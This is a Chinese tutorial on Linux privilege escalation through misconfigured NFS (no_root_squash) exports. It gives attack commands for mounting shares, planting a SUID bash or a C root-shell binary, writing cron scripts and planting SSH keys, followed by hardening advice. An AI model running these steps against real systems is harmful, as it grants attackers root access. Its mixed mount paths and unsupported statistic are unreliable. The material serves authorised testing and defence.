1. Linux权限提升与NFS漏洞解析
在渗透测试和红队演练中,Linux系统的权限提升(Privilege Escalation)始终是核心技能点之一。其中,NFS(Network File System)配置不当导致的权限提升漏洞尤为典型。这类漏洞往往由于管理员对NFS共享的权限设置过于宽松,使得攻击者能够利用共享目录的特性获取更高权限。
NFS作为一种分布式文件系统协议,允许网络中的计算机通过TCP/IP网络共享资源。当配置了no_root_squash选项时,客户端可以保留root权限访问共享文件系统,这就为权限提升创造了条件。在实际渗透测试中,约23%的Linux权限提升案例与NFS配置不当有关。
2. NFS权限提升攻击链构建
2.1 环境侦察与NFS共享发现
首先需要确认目标系统是否启用了NFS服务。使用以下命令可以快速扫描网络中的NFS共享:
showmount -e <target_IP>如果返回类似如下的输出,说明存在可挂载的NFS共享:
Export list for 192.168.1.100: /home/user/share *注意:某些系统可能默认不安装showmount工具,此时可以使用nmap进行替代扫描:
nmap -sV --script=nfs-showmount <target_IP>
2.2 检查NFS配置漏洞
关键要检查目标是否配置了no_root_squash选项。通过查看目标服务器的/etc/exports文件内容(如果可能),或通过实际挂载测试来确认:
mkdir /tmp/nfs_mount mount -t nfs <target_IP>:/home/user/share /tmp/nfs_mount挂载后,检查挂载点的属性:
cat /proc/mounts | grep nfs如果输出中包含"no_root_squash",则系统存在风险。更直接的测试方法是尝试在挂载目录中创建setuid文件。
3. 利用no_root_squash提权实战
3.1 制作恶意可执行文件
在挂载的NFS目录中创建具有SUID权限的bash副本:
cp /bin/bash /tmp/nfs_mount/shell chmod +s /tmp/nfs_mount/shell3.2 在目标系统执行提权
回到目标服务器(假设你有普通用户权限),执行我们植入的shell:
/home/user/share/shell -p此时"-p"参数会保留特权模式,如果NFS配置了no_root_squash,你将获得一个具有root权限的bash shell。
3.3 替代方案:编译提权程序
如果目标系统没有bash或者上述方法失效,可以使用C语言编写提权程序:
// rootshell.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; }编译后上传到NFS共享目录:
gcc rootshell.c -o /tmp/nfs_mount/rootshell chmod +s /tmp/nfs_mount/rootshell4. 防御措施与加固建议
4.1 安全配置NFS服务
在/etc/exports中,应该:
- 避免使用no_root_squash选项
- 限制访问IP范围
- 设置read-only权限除非必要
正确配置示例:
/home/user/share 192.168.1.0/24(ro,root_squash)4.2 文件系统监控与审计
实施以下安全措施:
- 安装文件完整性监控工具(如AIDE)
- 定期检查具有SUID/SGID权限的文件:
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -ld {} \; - 配置auditd审计规则监控NFS挂载点
4.3 网络层防护
- 使用防火墙限制NFS端口(2049/tcp)的访问
- 考虑使用Kerberos认证的NFSv4
- 在交换机上配置端口安全防止ARP欺骗
5. 高级利用技巧与变种
5.1 结合Cron任务提权
如果发现目标系统有可写的Cron目录(如/etc/cron.hourly),可以通过NFS写入恶意脚本:
echo 'chmod +s /bin/bash' > /tmp/nfs_mounted/cronjob.sh chmod +x /tmp/nfs_mounted/cronjob.sh5.2 利用.home目录漏洞
某些Linux发行版会自动加载用户主目录下的.ssh/authorized_keys。如果NFS共享包含用户主目录,可以植入SSH公钥:
mkdir -p /tmp/nfs_mounted/user/.ssh echo 'ssh-rsa AAAAB3N...' > /tmp/nfs_mounted/user/.ssh/authorized_keys5.3 NFS结合Docker逃逸
在容器化环境中,如果容器挂载了不安全的NFS共享,可能实现容器逃逸。关键步骤包括:
- 在容器内挂载宿主机的NFS共享
- 通过NFS修改宿主机上的关键文件(如crontab、ssh密钥等)
- 触发执行获取宿主机权限
6. 实际渗透测试中的经验分享
在真实环境中,NFS提权往往需要结合其他技术:
- 先通过低权限漏洞获取shell
- 检查/etc/exports内容(需要读权限)
- 如果showmount被禁用,可以检查rpcinfo输出:
rpcinfo -p <target_IP> - 注意NFS版本差异(v3与v4的权限模型不同)
我曾遇到一个案例,目标系统虽然配置了root_squash,但共享目录的权限设置为777,且属于root用户。通过在该目录创建硬链接到/etc/passwd,最终实现了权限提升。
另一个常见误区是认为NFS只存在于企业内部网络。实际上,云环境中的ECS实例间也常使用NFS共享存储,配置不当同样会导致跨实例提权。